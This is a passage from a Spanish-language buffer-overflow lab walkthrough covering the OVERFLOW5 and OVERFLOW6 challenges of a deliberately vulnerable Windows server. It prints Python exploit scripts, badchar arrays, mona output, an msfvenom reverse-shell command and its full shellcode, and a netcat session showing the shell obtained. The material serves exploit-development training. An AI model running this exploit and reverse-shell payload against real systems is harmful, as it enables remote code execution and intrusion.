buff = "A" * 314 + eip_ret + nops + padding * (700 - 314 - 4 + 150) # 532 padding
# 314 junk, 4 eip_ret, padding 532 (shellcode + nops)
# total buffer = 850
try:
    log.info("Realizando conexion.")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    connect = s.connect((address, port))
    data = s.recv(1024)
    s.send("OVERFLOW5 %s\r\n" % buff)
    s.close()
    log.info("Conexion Finalizada.")
except Exception as e:
    #print(e)
    log.failure("Parece que el programa se detuvo." )
    sys.exit(1)

El debugger muestra el mismo comportamiento por lo que tomamos la longitud del buffer en 850 bytes de los cuales 532 bytes serán para el shellcode y los nops (16 bytes).

BadChars

Generamos con mona un array con todos los badchars exeptuando el valor null (\x00).

1
!mona bytearray -cpb "\x00"

Modificamos el script con nuestro array de badchars.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

eip_ret = "B" * 4
nops  = "" # 16 bytes
padding = "C"

buff = "A" * 314 + eip_ret + nops + badchars + padding * (850 - 314 - 4 - 255) # 255 badchars
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW5 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Realizamos la busqueda de badchars como en el primer reto. Inicialmente encontramos los badchars "\x00\x16\x2f\xf4\xfd".

1
\x00\x16\x2f\xf4\xfd

JMP ESP

Buscamos una instrucción de salto al ESP con mona.

1
2
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x16\x2f\xf4\xfd"
!mona jmp -r esp -cpb "\x00\x16\x2f\xf4\xfd"

Encontramos dos direcciones de memoria con la instrucción jmp esp sin ningun tipo de protección.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
[+] Command used:
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x16\x2f\xf4\xfd"
[+] Results :
     0x625011af : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011bb : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011c7 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011d3 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011df : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011eb : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011f7 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x62501203 : 'jmp esp' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x62501205 : 'jmp esp' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
    Found a total of 9 pointers

Modificamos nuestr script agregando la dirección de la instrucción.

1
2
3
from struct import pack

eip_ret = pack("<L",0x62501205)

Shellcode

Creamos nuestro shellcode pasandole los badchars que encontramos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\x16\x2f\xf4\xfd"                                       130Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with Failed to locate a valid permutation.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor failed with Encoding failed due to a bad character (index=23, char=0xf4)
Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown failed with Encoding failed due to a bad character (index=43, char=0x16)
Attempting to encode payload with 1 iterations of x86/fnstenv_mov
x86/fnstenv_mov failed with Encoding failed due to a bad character (index=8, char=0xf4)
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of c file: 1508 bytes
unsigned char buf[] = 
"\xfc\xbb\xe2\x3f\xd4\x12\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x1e\xd7\x56\x12\xde"
"\x28\x37\x9a\x3b\x19\x77\xf8\x48\x0a\x47\x8a\x1c\xa7\x2c\xde"
"\xb4\x3c\x40\xf7\xbb\xf5\xef\x21\xf2\x06\x43\x11\x95\x84\x9e"
"\x46\x75\xb4\x50\x9b\x74\xf1\x8d\x56\x24\xaa\xda\xc5\xd8\xdf"
"\x97\xd5\x53\x93\x36\x5e\x80\x64\x38\x4f\x17\xfe\x63\x4f\x96"
"\xd3\x1f\xc6\x80\x30\x25\x90\x3b\x82\xd1\x23\xed\xda\x1a\x8f"
"\xd0\xd2\xe8\xd1\x15\xd4\x12\xa4\x6f\x26\xae\xbf\xb4\x54\x74"
"\x35\x2e\xfe\xff\xed\x8a\xfe\x2c\x6b\x59\x0c\x98\xff\x05\x11"
"\x1f\xd3\x3e\x2d\x94\xd2\x90\xa7\xee\xf0\x34\xe3\xb5\x99\x6d"
"\x49\x1b\xa5\x6d\x32\xc4\x03\xe6\xdf\x11\x3e\xa5\xb7\xd6\x73"
"\x55\x48\x71\x03\x26\x7a\xde\xbf\xa0\x36\x97\x19\x37\x38\x82"
"\xde\xa7\xc7\x2d\x1f\xee\x03\x79\x4f\x98\xa2\x02\x04\x58\x4a"
"\xd7\x8b\x08\xe4\x88\x6b\xf8\x44\x79\x04\x12\x4b\xa6\x34\x1d"
"\x81\xcf\xdf\xe4\x42\x30\xb7\xf0\x93\xd8\xca\xfc\x96\x22\x42"
"\x1a\xf2\x42\x02\xb5\x6b\xfa\x0f\x4d\x0d\x03\x9a\x28\x0d\x8f"
"\x29\xcd\xc0\x78\x47\xdd\xb5\x88\x12\xbf\x10\x96\x88\xd7\xff"
"\x05\x57\x27\x89\x35\xc0\x70\xde\x88\x19\x14\xf2\xb3\xb3\x0a"
"\x0f\x25\xfb\x8e\xd4\x96\x02\x0f\x98\xa3\x20\x1f\x64\x2b\x6d"
"\x4b\x38\x7a\x3b\x25\xfe\xd4\x8d\x9f\xa8\x8b\x47\x77\x2c\xe0"
"\x57\x01\x31\x2d\x2e\xed\x80\x98\x77\x12\x2c\x4d\x70\x6b\x50"
"\xed\x7f\xa6\xd0\x0d\x62\x62\x2d\xa6\x3b\xe7\x8c\xab\xbb\xd2"
"\xd3\xd5\x3f\xd6\xab\x21\x5f\x93\xae\x6e\xe7\x48\xc3\xff\x82"
"\x6e\x70\xff\x86\x6e\x76\xff\x28";

Agregamos nuestro shellcode y NOPs, finalmente calculamos el padding para mantener la longitud de nuestro buffer (850).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
shellcode = ("\xfc\xbb\xe2\x3f\xd4\x12\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x1e\xd7\x56\x12\xde"
"\x28\x37\x9a\x3b\x19\x77\xf8\x48\x0a\x47\x8a\x1c\xa7\x2c\xde"
"\xb4\x3c\x40\xf7\xbb\xf5\xef\x21\xf2\x06\x43\x11\x95\x84\x9e"
"\x46\x75\xb4\x50\x9b\x74\xf1\x8d\x56\x24\xaa\xda\xc5\xd8\xdf"
"\x97\xd5\x53\x93\x36\x5e\x80\x64\x38\x4f\x17\xfe\x63\x4f\x96"
"\xd3\x1f\xc6\x80\x30\x25\x90\x3b\x82\xd1\x23\xed\xda\x1a\x8f"
"\xd0\xd2\xe8\xd1\x15\xd4\x12\xa4\x6f\x26\xae\xbf\xb4\x54\x74"
"\x35\x2e\xfe\xff\xed\x8a\xfe\x2c\x6b\x59\x0c\x98\xff\x05\x11"
"\x1f\xd3\x3e\x2d\x94\xd2\x90\xa7\xee\xf0\x34\xe3\xb5\x99\x6d"
"\x49\x1b\xa5\x6d\x32\xc4\x03\xe6\xdf\x11\x3e\xa5\xb7\xd6\x73"
"\x55\x48\x71\x03\x26\x7a\xde\xbf\xa0\x36\x97\x19\x37\x38\x82"
"\xde\xa7\xc7\x2d\x1f\xee\x03\x79\x4f\x98\xa2\x02\x04\x58\x4a"
"\xd7\x8b\x08\xe4\x88\x6b\xf8\x44\x79\x04\x12\x4b\xa6\x34\x1d"
"\x81\xcf\xdf\xe4\x42\x30\xb7\xf0\x93\xd8\xca\xfc\x96\x22\x42"
"\x1a\xf2\x42\x02\xb5\x6b\xfa\x0f\x4d\x0d\x03\x9a\x28\x0d\x8f"
"\x29\xcd\xc0\x78\x47\xdd\xb5\x88\x12\xbf\x10\x96\x88\xd7\xff"
"\x05\x57\x27\x89\x35\xc0\x70\xde\x88\x19\x14\xf2\xb3\xb3\x0a"
"\x0f\x25\xfb\x8e\xd4\x96\x02\x0f\x98\xa3\x20\x1f\x64\x2b\x6d"
"\x4b\x38\x7a\x3b\x25\xfe\xd4\x8d\x9f\xa8\x8b\x47\x77\x2c\xe0"
"\x57\x01\x31\x2d\x2e\xed\x80\x98\x77\x12\x2c\x4d\x70\x6b\x50"
"\xed\x7f\xa6\xd0\x0d\x62\x62\x2d\xa6\x3b\xe7\x8c\xab\xbb\xd2"
"\xd3\xd5\x3f\xd6\xab\x21\x5f\x93\xae\x6e\xe7\x48\xc3\xff\x82"
"\x6e\x70\xff\x86\x6e\x76\xff\x28")

eip_ret = pack("<L",0x62501205)
nops  = "\x90" * 16
padding = "C"

buff = "A" * 314 + eip_ret + nops + shellcode + padding * (850 - 314 - 4 - 16 - 353 ) 

try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW5 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Tras ejecutar el script logramos obtener una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
➜  OVERFLOW_5 nc -lnvp 1338
Listening on 0.0.0.0 1338
Connection received on 192.168.22.128 49210
Microsoft Windows [Versin 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull

C:\Users\sckull\Desktop\vulnerable-apps\oscp>

Overflow 6

Fuzzing

Realizamos fuzzing al segundo reto utilizando esta vez OVERFLOW6.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python2.7
import socket, sys
from pwn import *
from struct import pack

if len(sys.argv) != 2:
        print("[*] Run:\n\toscp1.py <IP-address>")
        sys.exit(1)

address = sys.argv[1]
port = 1337

buff = ["A"]
c = 100

while len(buff) < 30:
        buff.append("A"*c)
        c += 100

p1 = log.progress("Progreso")

for string in buff:
        try:
                p1.status("Enviando %s bytes." % len(string))
                s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                connect = s.connect((address, port))
                data = s.recv(1024)
                s.send("OVERFLOW6 %s\r\n" % string)
                s.close()
                #log.info("x_x socket.")
        except Exception as e:
                #print(e)
                log.failure("Parece que el programa se detuvo con %s bytes." % len(string))
                sys.exit(1)

Encontramos que el programa se detuvo con 1400 bytes.

1
2
3
4
➜  OVERFLOW_6 ./overflow6.py 192.168.22.128
[] Progreso: Enviando 1400 bytes.
[-] Parece que el programa se detuvo con 1400 bytes.
➜  OVERFLOW_6

Observamos que el registro EIP se sobreescribió con “A"s, tambien vemos el registro ESP con los mismos valores.
image

Offset EIP

Creamos un patron de 1500 bytes utilizando pattern_create.rb.

1
2
3
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 1500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9

Modificamos el script para realizar el envio de este.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
buff =  "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9"

try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW6 %s\r\n" % buff)
        s.close()
        #log.info("x_x socket.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo.")

El registro EIP está lleno con el patron enviado asi mismo el registro ESP.
image

Mona nos muestra el offset con valor de 1034 bytes.

1
2
3
4
5
6
7
8
9
# !mona findmsp -distance 1500
[+] Command used:
!mona findmsp -distance 1500
[..]
[+] Examining registers
    EIP contains normal pattern : 0x35694234 (offset 1034)
    ESP (0x016efa30) points at offset 1038 in normal pattern (length 462)
    EBP contains normal pattern : 0x69423369 (offset 1030)
    EBX contains normal pattern : 0x42326942 (offset 1026)

Control EIP

Utilizando la longitud del offset agregamos “B"s para confirmar que el offset es exacto y que tenemos el control del registro EIP, además agregamos un padding para mantener la longitud del buffer (1500).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
eip_ret = "B" * 4
nops  = ""
padding = "C"

buff = "A" * 1034 + eip_ret + nops + padding * (1500-1034-4) # junk 1034, eip 4, padding 462 = 1500
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW6 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Tras ejecutar el script vemos que el registro EIP contiene “B"s lo que significa que el offset es exacto, además vemos el registro ESP con el padding (“C"s).
image

Espacio - Shellcode

Aumentamos el padding para tener asegurado un espacio ‘decente’ para nuestro shellcode, en este caso 50 bytes adicionales, en total tendríamos 496 bytes disponibles.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
eip_ret = "B" * 4
nops  = "" # 16 bytes
padding = "C"

buff = "A" * 1034 + eip_ret + nops + padding * (1500 - 1034 - 4 - 16 + 50) # 496 padding
# 1034 junk, 4 eip_ret, padding 496 (shellcode + nops)
# total buffer = 1534
try:
    log.info("Realizando conexion.")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    connect = s.connect((address, port))
    data = s.recv(1024)
    s.send("OVERFLOW6 %s\r\n" % buff)
    s.close()
    log.info("Conexion Finalizada.")
except Exception as e:
    #print(e)
    log.failure("Parece que el programa se detuvo." )
    sys.exit(1)

El debugger muestra el mismo comportamiento por lo que tomamos la longitud del buffer en 1534 bytes de los cuales 496 bytes serán para el shellcode y los nops (16 bytes).

BadChars

Generamos con mona un array con todos los badchars exeptuando el valor null (\x00).

1
!mona bytearray -cpb "\x00"

Modificamos el script con nuestro array de badchars.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

eip_ret = "B" * 4
nops  = "" # 16 bytes
padding = "C"
buff = "A" * 1034 + eip_ret + nops + badchars + padding * (1534 - 1034 - 4 - 255) # 255 badchars

try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW6 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Realizamos la busqueda de badchars como en el primer reto. Inicialmente encontramos los badchars "\x00\x08\x2c\xad".

1
\x00\x08\x2c\xad

JMP ESP

Buscamos una instrucción de salto al ESP con mona.

1
2
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x08\x2c\xad"
!mona jmp -r esp -cpb "\x00\x08\x2c\xad"

Encontramos dos direcciones de memoria con la instrucción jmp esp sin ningun tipo de protección.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
[+] Command used:
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x08\x2c\xad"
[+] Results :
     0x625011af : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011bb : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011c7 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
